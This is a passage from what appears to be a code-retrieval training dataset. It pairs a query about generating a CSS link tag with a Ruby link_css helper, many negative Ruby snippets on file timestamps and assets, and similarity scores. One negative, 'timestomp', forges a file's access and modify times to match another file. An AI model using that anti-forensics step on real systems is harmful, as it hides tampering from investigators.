\"asset-uri-cache-dependencies:#{compressed_path}:#{ @env.file_digest(filename) }\"\n end", "def construct_apache_touch_file\n if @app_name.empty?\n @touch_file = \"no_file\"\n else\n @touch_file = @app_name.include?('.') ? @app_name.split(\".\").shift : @app_name\n end\n return File.join(@@site_avaliable_dir_path, touch_file)\n end", "def cache_timestamp\n Tml::Utils.interval_timestamp(version_check_interval)\n end", "def path_for original\n current_output_directory.join(file_time_by_filepath(original).strftime(settings[:ordered_time_pattern])).join(original.basename)\n end", "def min_file_path\n compiled_path || current_file_path\n end", "def asset_path_for( filename )\n\n \"#{Rails.application.config.assets[:path]}/#{versioned_filename_for( filename )}\"\n\n end", "def precompiled_assets(clear_cache = T.unsafe(nil)); end", "def precompiled_assets(clear_cache = T.unsafe(nil)); end", "def warm_cache(target_files); end", "def precompile_assets\n if rails? && defined?(Rake)\n ::Rake::Task['assets:precompile'].enhance do\n svgs.map(&:build)\n end\n end\n end", "def mtime() File.mtime(path) end", "def modified_at(file, timestamp = nil)\n require 'date'\n time = timestamp ? DateTime.parse(\"#{timestamp}\") : DateTime.now\n timestamp = time.strftime('%Y%m%d%H%M')\n execute(\"/bin/touch -mt #{timestamp} #{file}\")\n end", "def mtime() end", "def mtime() end", "def generates_path\n return File.join(\"./medias\", self.created_at.year.to_s,\n self.created_at.month.to_s, self.file_name)\n end", "def record_creation_timestamp(path, timestamp)\n # Hook method: Linux filesystems doesn't store creation datetime\n end", "def stylesheet_modified_since?(template_file, mtime, importer = nil)\n importer ||= @options[:filesystem_importer].new(\".\")\n dependency_updated?(mtime).call(template_file, importer)\n end", "def bundleTimestampBundleSize(dest_folder,new_timestamp,max_size) \n puts \"Modifying timestamp based on size\"\n max_size=max_size*1024\n target_folder=\"\"\n# ts= Time.parse(new_timestamp.utc.to_s().split(\"UTC\").first)\n ts= Time.parse(new_timestamp.to_s())\n initial_ts=ts\n fileSize=0 \n total_file_count=0 \n old_output_ihtml=@outputRenamed+\"/ihtml/\" \n # Timestamp new files \n @files = Dir.glob(dest_folder+\"**/**\")\n for file in @files\n partName=file.split(dest_folder).last\n if !(File.exists?old_output_ihtml+partName) && !(File.directory?(file))\n if !file.to_s().end_with?(\"searchDB.sql\") && !file.to_s().end_with?(\"deletedFiles.list\")\n fileSize=fileSize+File.size(file) \n if(fileSize>=max_size)\n ts=ts+60\n fileSize=File.size(file)\n end \n File.utime(ts, ts, file)\n total_file_count=total_file_count+1\n # Add to zip bundle \n target_folder=zipBundle(file,ts)\n end\n end\n if !(File.exists?old_output_ihtml+partName) && File.directory?(file) \n File.utime(ts, ts, file)\n end\n end \n # searchDB.sql timestamp as the last bundle of new files but before edited files\n if File.exists?(dest_folder+\"searchDB.sql\") \n fileSize=fileSize+File.size(dest_folder+\"searchDB.sql\") \n if(fileSize>=max_size && total_file_count!=0)\n ts=ts+60 \n fileSize=File.size(dest_folder+\"searchDB.sql\") \n end \n File.utime(ts, ts, dest_folder+\"searchDB.sql\")\n total_file_count=total_file_count+1\n # Add to zip bundle \n archive=zipBundle(dest_folder+\"searchDB.sql\",ts)\n end\n # Timestamp edited files after new files and searchDB.sql\n @files = Dir.glob(dest_folder+\"**/**\")\n for file in @files\n partName=file.split(dest_folder).last\n if File.exists?(old_output_ihtml+partName) && !(File.directory?(file))\n if !file.to_s().end_with?(\"searchDB.sql\") && !file.to_s().end_with?(\"deletedFiles.list\")\n fileSize=fileSize+File.size(file) \n if(fileSize>=max_size)\n ts=ts+60\n fileSize=File.size(file)\n end \n File.utime(ts, ts, file) \n total_file_count=total_file_count+1\n # Add to zip bundle \n archive=zipBundle(file,ts) \n end\n end\n if File.directory?(file)\n File.utime(initial_ts, initial_ts, file)\n end \n end \n # Timestamp deleted file as last bundle\n if (File.exists?(dest_folder+\"deletedFiles.list\"))\n fileSize=fileSize+File.size(dest_folder+\"deletedFiles.list\") \n if(fileSize>=max_size)\n ts=ts+60\n fileSize=File.size(dest_folder+\"deletedFiles.list\") \n end \n File.utime(ts, ts, dest_folder+\"deletedFiles.list\")\n total_file_count=total_file_count+1\n # Add to zip bundle \n archive=zipBundle(dest_folder+\"deletedFiles.list\",ts) \n end\n generateZipBundle() \n @latest_ts=ts+60\nend", "def timestamp\n if dynamic? # MUST check for this first...\n timestamps = targets.map do |t|\n timestamps2 = t.manifest_for(variation).build!.entries.map do |e|\n ts = e.timestamp\n ts.nil? ? 0 : ts\n end\n timestamps2.max\n end\n timestamps.max\n\n elsif composite?\n self[:source_entries].map { |e| e.timestamp || 0 }.max || Time.now.to_i\n\n elsif self[:timestamp]\n # for certain entries, such as the Chance entry, we can't use composite entry\n # but still need to have a timestamp to prevent caching. To do this, we allow\n # the entry to specify the timestamp directly; it will calculate it on its own.\n self[:timestamp]\n\n else\n File.exist?(self[:source_path]) ? File.mtime(self[:source_path]).to_i : 0\n end\n end", "def precompile_app_assets\n puts \"Precompiling assets...\"\n\n # make sure the Rails environment is loaded\n ::Rake.application['environment'].invoke\n\n # temporarily set the static assets location from public/assets to our spec directory\n ::Rails.application.assets.static_root = Rails.root.join(\"spec/javascripts/generated/assets\")\n\n # rake won't let you run the same task twice in the same process without re-enabling it\n\n # once the assets have been cleared, recompile them into the spec directory\n ::Rake.application['assets:precompile'].reenable\n ::Rake.application['assets:precompile'].invoke\n end", "def mtime() File.mtime( expand_tilde ) end", "def update_buildfile\n buildfile = change_version { |version| # THIS_VERSION minus SNAPSHOT\n resolve_next_version(this_version) # THIS_VERSION\n }\n File.open(Rake.application.rakefile.to_s, 'w') { |file| file.write buildfile }\n end", "def path_for original\n current_output_directory.join(daily_directory_for((settings[:ordered_by_processing_time] ? processing_time : file_time(original)).strftime(settings[:ordered_time_pattern]), original)).join(slug_for(processing_time, original))\n end", "def build_assets\n end", "def asset_path(site, post_id)\n\n # post_id\n\n new_id = post_id.gsub(\"jekyll/update/\", \"\")\n\n site + \"post-assets/\" + new_id.gsub(\"/\", \"-\")[1..-1]\n\n # jekyll/update/2014/02/15/nyt-4th-down-bot-goes-back-in-the-box\n # post_id.gsub(\"jekyll/update/\", \"\").gsub(\"/\", \"-\")[1..-1]\n end", "def current_timestamp\n if @current_timestamp.nil? or (Time.now.to_i - @last_stat >= Puppet[:filetimeout])\n @last_stat = Time.now.to_i\n begin\n @current_timestamp = File.stat(@filename).ctime\n rescue Errno::ENOENT, Errno::ENOTDIR\n @current_timestamp = Time.now\n end\n end\n @current_timestamp\n end", "def mtime\n ((@requires || []) + [@script]).map do |fname|\n fname = fname.gsub(/^#{Regexp::quote File.dirname(@script)}\\//, '')\n begin\n File.mtime(File.join(File.dirname(@script), fname))\n rescue Errno::ENOENT\n remove_app\n @mtime\n end\n end.max\n end", "def mtime; end", "def mtime; end", "def bundleTimestampFileCount(dest_folder,new_timestamp,max_count)\n ts=new_timestamp\n fileCount=0\n deletedFileList=\"\"\n @files = Dir.glob(dest_folder+\"**/**\")\n for file in @files\n if(fileCount>max_count)\n ts=ts+60\n fileCount=0\n end\n if file.to_s().end_with?(\"searchDB.sql\") \n File.utime(new_timestamp, new_timestamp, file)\n elsif file.to_s().end_with?(\"Deleted_List.list\")\n deletedFileList=file \n else\n File.utime(ts, ts, file)\n fileCount=fileCount+1\n end\n end \n File.utime(ts, ts, deletedFileList)\nend", "def render(context)\n return \"\" unless ENV[\"ENV\"] == \"production\"\n\n full_path = File.join(context[\"site\"][\"__directory\"], @path.strip)\n\n return @prefix + DIGEST_CACHE[full_path] if DIGEST_CACHE[full_path]\n\n digest = Digest::MD5.hexdigest(File.read(full_path))\n DIGEST_CACHE[full_path] = digest\n\n @prefix + digest\n end", "def bundleTimestampBundleSize(dest_folder,new_timestamp,max_size) \n max_size=max_size*1024\n ts=new_timestamp\n fileSize=0 \n deletedFileList=\"\"\n @files = Dir.glob(dest_folder+\"**/**\")\n for file in @files\n if(fileSize>max_size)\n ts=ts+60\n fileSize=0\n end \n if file.to_s().end_with?(\"searchDB.sql\") \n File.utime(new_timestamp, new_timestamp, file) \n elsif file.to_s().end_with?(\"deletedList.list\")\n deletedFileList=file\n else\n File.utime(ts, ts, file)\n fileSize=fileSize+File.size(file) \n end\n end\n File.utime(ts, ts, deletedFileList) \nend", "def version_path(image_path, version_name = nil)\n res = File.join(File.dirname(image_path), 'thumb', \"#{File.basename(image_path).parameterize}#{File.extname(image_path)}\")\n res = res.cama_add_postfix_file_name(\"_#{version_name}\") if version_name.present?\n res\n end", "def ctime() File.ctime(path) end", "def updated_source_file; end", "def update_buildfile\n buildfile = change_version { |version| # THIS_VERSION minus SNAPSHOT\n resolve_next_version(this_version) # THIS_VERSION\n }\n File.open(version_file, 'w') { |file| file.write buildfile }\n end", "def compiled_path; end", "def template_changed_since?(file_name, compile_time)\n lstat = File.lstat(file_name)\n compile_time < lstat.mtime ||\n (lstat.symlink? && compile_time < File.stat(file_name).mtime)\n end", "def generate force_build = false\n blog_template = Template::Blog.new self\n\n skipped_files = []\n new_files = []\n updated_files = []\n old_files = Dir.glob('public/**/*.html')\n\n blog_template.modes.each {\n |mode|\n\n blog_template.mode = mode\n\n (1..blog_template.pages).each { |page|\n blog_template.page = page\n path = blog_template.local_path\n pretty_path = Pathname.new(path).relative_path_from(Pathname.new(@spec.blog_root)).to_s\n\n if old_files.include? pretty_path\n old_files.delete pretty_path\n end\n\n mtime = File.exists?(path) ? File.mtime(path) : nil\n needs_update = force_build || mtime.nil?\n\n if ! needs_update\n needs_update = blog_template.posts.any? {\n |post|\n mtime < File.mtime(post.post_data.source_path)\n }\n\n if ! needs_update\n skipped_files << path\n next\n end\n end\n\n dir = File.dirname(path)\n FileUtils.mkdir_p dir unless File.directory? dir\n\n if File.exists? path\n updated_files << pretty_path\n else\n new_files << pretty_path\n end\n\n r = nil\n File.open(path, 'w') {\n |io|\n io.write blog_template.render\n }\n }\n }\n\n updated_files.each { |path| puts \"* #{path}\" }\n\n new_files.each { |path| puts \"+ #{path}\"}\n\n old_files.each {\n |path|\n puts \"- #{path}\"\n File.unlink path\n dir = File.dirname path\n if Dir.entries(dir) == @@EMPTY_DIR_ENTRIES\n Dir.unlink dir\n end\n }\n end", "def build_app_caches(app_name, instance_name)\n Dir.chdir RailsPwnerer::Config[app_name, instance_name][:app_path] do\n if File.exist?('Gemfile')\n Kernel.system 'bundle exec rake assets:precompile RAILS_ENV=production'\n else\n Kernel.system 'rake assets:precompile RAILS_ENV=production'\n end\n end\n end", "def build_time\n if btime = app.info_plist[\"ProjectBuildTime\"]\n else\n puts %(\n[RMQ Warning] The build_time method requires that this code is in your RakeFile:\napp.development do\n app.info_plist[\"ProjectBuildTime\"] = Time.now\nend)\n end\n btime\n end", "def sass_cache_bust(file_name)\n require 'digest/md5'\n file_contents = Dir.glob(\"_sass/*\").map{|f| File.read(f) }.join\n file_name + '?' + Digest::MD5.hexdigest(file_contents)\n\n end", "def asset generator_name, req, res\n asset_dir = @asset_dirs[generator_name]\n\n asset_path = File.join asset_dir, req.path\n\n if_modified_since req, res, asset_path\n\n res.body = File.read asset_path\n\n res.content_type = case req.path\n when /\\.css\\z/ then 'text/css'\n when /\\.js\\z/ then 'application/javascript'\n else 'application/octet-stream'\n end\n end", "def assets_to_compile \n return @assets_to_compile if @assets_to_compile \n files = Dir.glob(prefix + \"**/*\").select {|f| File.file?(f)}\n files.collect! { |f| f.gsub(/^#{prefix}\\//, \"\") }\n end", "def filename\n \"mp-#{make_stamp}-1024.jpg\" if original_filename\n end", "def change_file(time)\n prev_time = time - Rational(1,24)\n prev_time.strftime(\"%Y%m%d%H\") + \"-\" + time.strftime(\"%Y%m%d%H\") + \".osc.gz\"\nend", "def timestamp\n Rake::EARLY\n end", "def timestamp\n Rake::EARLY\n end", "def timestamp\n Rake::EARLY\n end", "def _precompiled_asset_metadata(file)\n CompiledAssetsHash.new.replace(super)\n end", "def timestomp(original, doplegangar)\n#\tcommandz(\"touch -r #{original} #{doplegangar}\") # one liner with touch command :p\n\n\t#Pure Ruby way :)\n\tfoo = File.stat(original) #Stat original file\n\tatime = foo.atime #Note its access & modify times so we can fake on target file...\n\tmtime = foo.mtime\n\tFile.utime(atime, mtime, doplegangar) #Make the fake :)\nend" ]
[ "0.6419433", "0.6338564", "0.6187573", "0.6186875", "0.608325", "0.6001299", "0.5933352", "0.58739525", "0.5865026", "0.58244014", "0.5805991", "0.57985854", "0.57624364", "0.57467824", "0.57219815", "0.5720125", "0.57045555", "0.56023604", "0.55988395", "0.5573486", "0.5550044", "0.5525037", "0.5502548", "0.5483672", "0.5444663", "0.54405504", "0.54295015", "0.5408486", "0.5406407", "0.53926015", "0.53882074", "0.53639954", "0.536172", "0.5349842", "0.5348649", "0.5332571", "0.5319811", "0.53117853", "0.52949816", "0.5294128", "0.5289282", "0.52812755", "0.5276971", "0.5276971", "0.52656096", "0.52622956", "0.5261207", "0.5256689", "0.5205701", "0.5204567", "0.5201569", "0.5193093", "0.5184784", "0.51785314", "0.5169955", "0.5159788", "0.5159788", "0.51580864", "0.51481146", "0.5144589", "0.51405144", "0.51363945", "0.51363945", "0.5118551", "0.51165915", "0.5115442", "0.51045835", "0.51034737", "0.51021534", "0.5095771", "0.5090362", "0.50824785", "0.50696456", "0.50691444", "0.5060483", "0.50524724", "0.50504774", "0.50504774", "0.50494725", "0.50389963", "0.5035919", "0.5028332", "0.5022509", "0.5020179", "0.5011038", "0.5007366", "0.49971372", "0.49958092", "0.4995139", "0.49895453", "0.4987365", "0.4973739", "0.49683255", "0.4968209", "0.4963325", "0.49602687", "0.49602687", "0.49602687", "0.49580774", "0.49538523" ]
0.7513147
0
Generate a link to a css file.
def link_css(path, media = "screen") path = "/#{path}" unless path =~ %r{^/} path = "#{path}.css" unless path =~ %r{\.css$} %{<link href="#{timestamp_asset(path)}" media="#{media}" rel="Stylesheet" type="text/css" />} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def css(file)\n\t\t\t\"<link rel='stylesheet' type='text/css' href='#{file}'>\"\n\t\tend", "def css(href)\n link :rel => 'stylesheet', :type => 'text/css', :href => href\n end", "def css(href)\n link :rel => 'stylesheet', :type => 'text/css', :href => href\n end", "def generate_css\n needs = affected_files.map { |m| File.extname(m)[1..-1].to_sym }\n \n original_ext = File.extname(@original_file)[1..-1]\n needs << original_ext.to_sym unless needs.include? original_ext\n\n WebifyRuby::Css.link_to = @link_to\n \n if should_write_css?\n WebifyRuby::Css.relative_from = @link_to ? nil : @css\n end\n \n css = WebifyRuby::Css.new(File.basename(@file, \".*\"), @file, *needs)\n @styles = css.result\n\n @css_file = css.write @css if should_write_css?\n end", "def link_stylesheet(filename, options={})\n opts = {:rel => \"stylesheet\", :type => \"text/css\", :media => \"all\"}.merge(options) #these are the default options for the stylesheet\n\n file_path = File.join('css', filename) #this is where the un-compiled asset currently resides\n asset = Bartender::Asset.new(file_path, self.sprockets_env)\n\n if asset\n return \"<link #{opts.to_a.collect{|opt_a| \"#{opt_a[0]}=\\\"#{opt_a[1]}\\\"\"}.join(' ')} href=\\\"#{asset.site_path}\\\"/>\"\n else\n $stderr.puts \"WARNING: Could not find stylesheet '#{filename}' in #{Bartender::DEFAULTS['assets']} for page #{self.page}\"\n return \"<!-- WARNING: Could not link stylesheet #{filename} -->\"\n end\n end", "def css(href, options = {})\n link({:rel => 'stylesheet', :type => 'text/css', :href => href}.merge(options))\n end", "def link_css(srcs,options={})\n srcs_length = srcs.split(\",\").length\n options[:media] ||= \"screen\"\n options[:type] ||= \"text/css\"\n options[:rel] ||= \"stylesheet\"\n content = \"\"\n if srcs_length == 1\n options[:href] = \"/css/#{srcs}.css\"\n content = single_tag(:link, options)\n else\n srcs.split(\",\").each do |src|\n options[:href] = \"/css/#{src.strip}.css\"\n content << single_tag(:link, options)\n content << \"\\n\"\n end\n end\n content\n end", "def stylesheet src, attributes = {}\n link({:rel => \"stylesheet\", :href => src}.merge(attributes))\n end", "def stylesheet(file)\n content_for(:stylesheet) { stylesheet_link_tag(file, media: 'all') }\n end", "def file_path\n 'main.css'\n end", "def attributes_for_stylesheet_link(file)\n {:href => file.path, :media => 'screen', :rel => 'stylesheet', :type => 'text/css'}\n end", "def css_path; end", "def css_path; end", "def jmaki_generate_css(resource)\n if (@jmaki_resources == nil)\n @jmaki_resources = Array.new\n end\n if (@jmaki_resources.include?(resource))\n return \"\"\n end\n @jmaki_resources << resource\n \"<link type='text/css' rel='stylesheet' href='\" + resource + \"'></link>\\n\"\n end", "def css(page_css) \n page_css.split(' ').each do |item|\n content_for(:css) do\n \"<link href=\\\"/stylesheets/#{page_css}.css\\\" rel='stylesheet' type='text/css'/>\\n\" \n end \n end\n end", "def to_html\n %(<link href=\"#{href}\" rel=\"stylesheet\">)\n end", "def inline_stylesheet source\n \"<style type='text/css'>\" +\n File.read(\"#{RAILS_ROOT}/public/stylesheets/#{source}\") +\n \"</style>\"\n end", "def css(url=\"\")\n self.style_sheet(url)\n end", "def stylesheet_link_tag(*sources)\n options = extract_options!(sources)\n\n base_folder = if defined? Compass\n Compass.configuration.css_dir\n else\n 'stylesheets'\n end\n sources.map do |source|\n tag('link', {\n 'rel' => 'stylesheet',\n 'type' => 'text/css',\n 'media' => 'screen',\n 'href' => ensure_path(ensure_extension(source, 'css'), base_folder)\n }.with_indifferent_access.merge(options))\n end.join(\"\\n\")\n end", "def url_to_stylesheet(source, options = T.unsafe(nil)); end", "def stylesheet_link_tag(*sources)\n html = []\n sources.each do |stylesheet|\n if is_uri?(stylesheet)\n path = stylesheet\n else\n path = url(\"/css/#{stylesheet}.css\")\n end\n html << \"<link href=\\\"#{path}\\\" type=\\\"text/css\\\" rel=\\\"stylesheet\\\" />\"\n end\n return html.join(\"\\n\")\n end", "def path_to_stylesheet(*args)\n path = super\n if @generate_urls_with_host \n path = request.protocol() + request.host_with_port() + path\n end\n return path\n end", "def stylesheet(*urls)\n urls << {} unless urls.last.respond_to? :to_hash\n urls.last[:type] ||= mime_type(:css)\n link(:stylesheet, *urls)\n end", "def stylesheet_path(source)\n return source if source =~ /^http/\n source.gsub!(/\\.css$/, '')\n source_name = source; source_name << \".css\" unless source =~ /\\.css$/\n result_path = source_name if source =~ %r{^/} # absolute path\n result_path ||= uri_root_path(\"stylesheets\", source_name)\n stamp = File.exist?(result_path) ? File.mtime(result_path) : Time.now.to_i\n \"#{result_path}?#{stamp}\"\n end", "def css_tag(name)\n file = App.asset_path(name, :css)\n content_tag :link, nil, href: file, rel: 'stylesheet', type: 'text/css'\n end", "def stylesheet_tag(url)\n options = ({}).tap do |opts|\n opts[:href] = url.to_s unless url.blank?\n opts[:rel] = 'stylesheet'\n opts[:type] = 'text/css'\n opts[:media] = 'all'\n end\n \n tag('link', options)\n end", "def run(filename, css); end", "def path_to_stylesheet(source, options = T.unsafe(nil)); end", "def stylesheet_url(source)\n URI.join(current_host, path_to_stylesheet(source)).to_s\n end", "def stylesheet(*args)\n content_for(:stylesheets) { stylesheet_link_tag(*args) }\n end", "def stylesheet_link_tag(*sources)\n options = sources.extract_options!.stringify_keys\n sources.uniq.map { |source|\n tag_options = {\n \"rel\" => \"stylesheet\",\n \"media\" => \"screen\",\n \"href\" => path_to_stylesheet(source)\n }.merge(options)\n tag(:link, tag_options)\n }.join(\"\\n\").html_safe\n end", "def stylesheet_path(source, options={})\n path = compute_public_path(source, 'assets', options.merge(:ext => 'css'))\n options[:body] ? path + \"?body=1\" : path\n end", "def stylesheet_link_tag(string_or_array, *args)\n files = string_or_array.is_a?(Array) ? string_or_array : [string_or_array]\n options = {\n :charset => \"utf-8\",\n :media => \"screen, projection\",\n :rel => \"stylesheet\",\n :type => \"text/css\",\n }.merge(args.last.is_a?(::Hash) ? pop : {})\n\n files.map do |file|\n path = \"assets/stylesheets/#{file}.css\"\n options[:href] = path\n tag(:link, options)\n end.join(\"\\n\")\n\nend", "def stylesheet(*sources)\n options = sources.extract_options!.symbolize_keys\n options.reverse_merge!(media: 'screen', rel: 'stylesheet', type: 'text/css')\n sources.collect do |source|\n tag(:link, options.reverse_merge(href: asset_path(source, :css)))\n end.join(\"\\n\")\n end", "def url_for(style)\n reprocess_for(style)\n file.url(style)\n end", "def compile(css, include_paths, settings)\n\tcss\nend", "def style_sheet(url=\"\")\n self.tag('css', self.tag('url', url))\n end", "def custom_css\n File.read file_path(\"#{name}.css\") if custom_css?\n end", "def stylesheet(*args)\n head { stylesheet_link_tag *args }\n end", "def sg_usemin_css(path, options={})\n usemin = SlimGruntHelpers::Models::UseminCss.new\n options = { alt: nil, absolute: false }.merge!(options)\n\n alt = ''\n alt = \"(#{ options[:alt] })\" unless options[:alt].nil?\n\n text = \"\\n<!-- build:css#{ alt } #{ path } -->\\n\"\n yield(usemin)\n usemin.each(options) do |link|\n text << \"#{ link }\\n\"\n end\n text << \"<!-- endbuild -->\\n\"\n end", "def add_stylesheet(name)\n content_for(:head) do\n stylesheet_link_tag name\n end\n end", "def stylesheet_tag(source, options={})\n options = options.dup.reverse_merge!(:href => stylesheet_path(source), :media => 'screen', :rel => 'stylesheet', :type => 'text/css')\n tag(:link, options)\n end", "def stylesheet_url(source, options = T.unsafe(nil)); end", "def g_stylesheet_link_tag( *sources )\n options = sources.extract_options! || {}\n options[:position] ||= :post\n sources.each { |src| Guilded::Guilder.instance.add_css_source( src, options[:position] ) }\n ''\n end", "def include_stylesheets\n Pathname.new(StylesheetDir).find do |path|\n next unless path.file?\n if @one_file\n @outfile.puts \" <style>\"\n @outfile.puts path.read\n @outfile.puts \" </style>\"\n else\n @outfile.puts \"<link href=\\\"lib/stylesheets/#{path.basename}\\\" media=\\\"screen\\\" rel=\\\"stylesheet\\\" type=\\\"text/css\\\" />\"\n end\n end\n end", "def rcss\n # :rcssfile is defined in routes.rb\n if @stylefile = params[:rcssfile]\n #prep stylefile with relative path and correct extension\n @stylefile.gsub!(/.css$/, '')\n @stylefile = \"/stylesheets/\" + @stylefile + \".css.erb\"\n render(:file => @stylefile, :use_full_path => true, :content_type => \"text/css\")\n else #no method/action specified\n render(:nothing => true, :status => 404)\n end #if @stylefile..\n end", "def css_tags\n css.map do |url|\n \"<link href=\\\"#{url}\\\" media=\\\"all\\\" rel=\\\"stylesheet\\\" type=\\\"text/css\\\" />\"\n end.join(\"\\n\")\n end", "def stylesheet_link_tag(*sources)\n options = sources.extract_options!.stringify_keys\n concat = options.delete(\"concat\")\n cache = concat || options.delete(\"cache\")\n recursive = options.delete(\"recursive\")\n\n if concat || (ActionController::Base.perform_caching && cache)\n joined_stylesheet_name = (cache == true ? \"all\" : cache) + \".css\"\n joined_stylesheet_path = File.join(joined_stylesheet_name[/^#{File::SEPARATOR}/] ? ASSETS_DIR : STYLESHEETS_DIR, joined_stylesheet_name)\n\n unless ActionController::Base.perform_caching && File.exist?(joined_stylesheet_path)\n write_asset_file_contents(joined_stylesheet_path, compute_stylesheet_paths(sources, recursive))\n end\n stylesheet_tag(joined_stylesheet_name, options)\n else\n expand_stylesheet_sources(sources, recursive).collect { |source| stylesheet_tag(source, options) }.join(\"\\n\").html_safe\n end\n end", "def stylesheet_path(source)\n compute_public_path(source, 'stylesheets', 'css')\n end", "def stylesheet(*files)\n content_for(:header) { stylesheet_link_tag(*files) }\n end", "def css\n project_file_read(\"all.css\")\nend", "def stylesheet_link_tag(stylesheet_name)\n stylesheet_name = \"#{stylesheet_name}.css\" if not stylesheet_name =~ /\\.css$/\n %{<link rel=\"stylesheet\" href=\"#{plugin_assets_link_base}css/#{stylesheet_name}\" type=\"text/css\" media=\"screen\">}\n end", "def css\n @css ||= assemble_css\n end", "def stylesheet_path(path, options={})\n asset_path(path, :type => :stylesheet)\n end", "def stylesheet_path(source, options = {})\n asset_path source, { :dir => 'stylesheets', :ext => 'css' }.merge(options)\n end", "def add_css(files)\n return add_data(files, :stylesheets, '.css')\n end", "def stylesheet(*args)\n content_for(:head) { stylesheet_link_tag(*args) }\n end", "def style\n File.read(@folder + \"/data/style.css\")\n end", "def style_url(id)\n \"/beerstyles/a/#{id}/\"\n end", "def stylesheet(path)\n asset_html(path, STYLESHEET_CDN, STYLESHEET_LOCAL)\n end", "def webpack_stylesheet_tag(source)\n tag(\n :link,\n rel: 'stylesheet',\n media: 'all',\n href: path_to_webpack_asset(source, :css)\n )\n end", "def stylesheet_tag(source, options)\n tag(\"link\", { \"rel\" => \"stylesheet\", \"media\" => \"screen\", \"href\" => html_escape(path_to_stylesheet(source)) }.merge(options), ::SKIP_SELF_CLOSE_TAGS, false)\n end", "def stylesheet_path(source)\n asset_paths.compute_public_path(source, 'stylesheets', :ext => 'css', :protocol => :request)\n end", "def stylesheet_path(source, options = T.unsafe(nil)); end", "def load_css(*files)\n content_for(:head) { stylesheet_link_tag(*files) }\n end", "def rcss\n # :rcssfile is defined in routes.rb\n if @stylefile = params[:rcssfile]\n #prep stylefile with relative path and correct extension\n @stylefile.gsub!(/.css$/, '')\n @stylefile = File.join(\"vendor\", \"plugins\", \"template_derby\", \"app\", \"views\", \"rcss\", @stylefile + \".rcss\")\n\n #check for existence of @stylefile on filesystem - raise system error if not found\n if not(File.exists?(@stylefile))\n raise CoreERR_CSSFileNotFound\n end\n\n # set caching because we have a good css file to ship\n expires_in 4.hours unless (($prevent_layout_caching==true) rescue true)\n render(:file => @stylefile, :use_full_path => false, :content_type => \"text/css\")\n else #no method/action specified\n render(:nothing => true, :status => 404)\n end #if @stylefile..\n end", "def css_includes *ss\n\t\t\tss.each { |s|\n\t\t\t\tlink :rel => 'stylesheet', :media => 'all', :href => s\n\t\t\t}\n\t\tend", "def stylesheet_link_tag(*sources); end", "def stylesheet_link_tag(*sources); end", "def stylesheet_link_tag(*sources); end", "def build_css\n Dir[\"#{@src_dir}/stylesheets/**/*.{sass,scss}\"].each do |path|\n file_dir, template = source_template_from_path(path.sub(/^#{@src_dir}\\/stylesheets/, ''))\n\n if !template.match(/(^|\\/)\\_/)\n save_stylesheet(File.join(file_dir, template), generate_css(template, file_dir))\n end\n end\n end", "def stylesheet hash = 'home'\n hash = {:id => hash} if hash.is_a? String\n hash.update :action => 'stylesheet', :format => 'css', :trailing_slash => false\n home(hash)\n end", "def stylesheet_link_tag(*sources)\n options = sources.extract_options!.symbolize_keys\n sources.collect { |sheet| stylesheet_tag(sheet, options) }.join(\"\\n\")\n end", "def assemble_css\n renderer = Liquid::Template.parse(@stylesheet.data)\n renderer.render(global_template_data, :filters => liquid_filters)\n end", "def campaign_stylesheet_link_tag(stylesheet, campaign)\n if campaign && File.exist?(Rails.root.to_s + '/app/assets/stylesheets/campaigns/' + campaign.path + '/' + stylesheet + '.sass')\n stylesheet_link_tag 'campaigns/' + campaign.path + '/application', :media => \"all\"\n else\n stylesheet_link_tag stylesheet, :media => \"all\"\n end\n end", "def download_link(label, path, css: '.download', **opt, &block)\n prepend_css!(opt, css)\n external_link(label, path, **opt, &block)\n end", "def stylesheet_link_tag(*styles)\n if (@cached_stylesheets )\n\n @cached_stylesheets = @cached_stylesheets.concat(styles)\n \"<!-- #{super(*styles)} -->\"\n else\n super(*styles)\n end\n end", "def concat_css(filename, mode)\n result = \"\"\n CssSplitter.split_file(filename).each do |part|\n if part[:type] == :source\n result += part[:value] if mode == :css\n else\n if mode == :css\n result += \"url('\" + part[:value].sub(/^.*?([^\\/]+)$/, '\\1') + \"')\"\n else\n result += filename.sub(/[^\\/]*$/, '') + part[:value] + \"\\n\"\n end\n end\n end\n return result\n end", "def css\n puts 'Compiling LESS files to CSS...'\n `lessc ./less/main.less ../www/_res/css/uncompressed/main.css`\n puts 'Compressing CSS files...'\n `java -jar ./_scripts/yuicompressor-2.4.2.jar ../www/_res/css/uncompressed/main.css -o ../www/_res/css/main.css`\nend", "def style_tag src = nil, opts = {}, &proc\n src.is_a?(Hash) && (opts = src.dup) && (src = nil)\n if proc\n opts[:type] ||= 'text/css'\n \"<style %s>\\n%s\\n</style>\\n\" % [__e__.assets__opts_to_s(opts), proc.call]\n else\n opts[:rel] = 'stylesheet'\n opted_src = opts.delete(:href) || opts.delete(:src)\n src ||= opted_src || raise('Please URL as first argument or :href option')\n \"<link href=\\\"%s\\\" %s />\\n\" % [\n opted_src ? opted_src : assets_url(src),\n __e__.assets__opts_to_s(opts)\n ]\n end\n end", "def stylesheet; end", "def generate_html\n return false if @css_file.nil? or @html.nil?\n \n css_link = @link_to_css.nil? ? @css_file : @link_to_css\n \n html = WebifyRuby::Html.new(css_link, @html)\n @html_file = html.html_file\n end", "def css_for_doc(doc)\n css_urls_in_doc(doc).map { |url| css_for_url(url) }.join(\"\\n\")\n end", "def controller_stylesheet_tags\n\n lo_files = []\n \n required_cc_files.each do |f|\n fn = [f,\"css\"].join(\".\")\n unless Rails.application.assets.find_asset(fn).nil?\n lo_files << stylesheet_link_tag(fn)\n end\n end\n\n lo_files.join.html_safe\n\n end", "def style_tag src = nil, opts = {}, &proc\n src.is_a?(Hash) && (opts = src.dup) && (src = nil)\n if proc\n opts[:type] ||= 'text/css'\n \"<style %s>\\n%s\\n</style>\\n\" % [__e__assets__opts_to_s(opts), proc.call]\n else\n opts[:rel] = 'stylesheet'\n opted_src = opts.delete(:href) || opts.delete(:src)\n src ||= opted_src || raise('Please URL as first argument or :href option')\n \"<link href=\\\"%s%s\\\" %s>\\n\" % [\n opted_src ? opted_src : assets_url(src),\n opts.delete(:ext),\n __e__assets__opts_to_s(opts)\n ]\n end\n end", "def stylesheet_path(source)\n path_to_asset(source)\n end", "def mk_link(url, css, title)\n abbrev_title = title.nil? ? OY::Markup.markup_abbrevs[File.extname(url)[1..-1].to_sym] : title\n %Q(<a href='#{url.downcase}' class='oy-link #{css}'>#{abbrev_title}</a>)\n rescue\n mk_link(url, css, \"NIL\")\n end", "def stylesheet_relpath\n 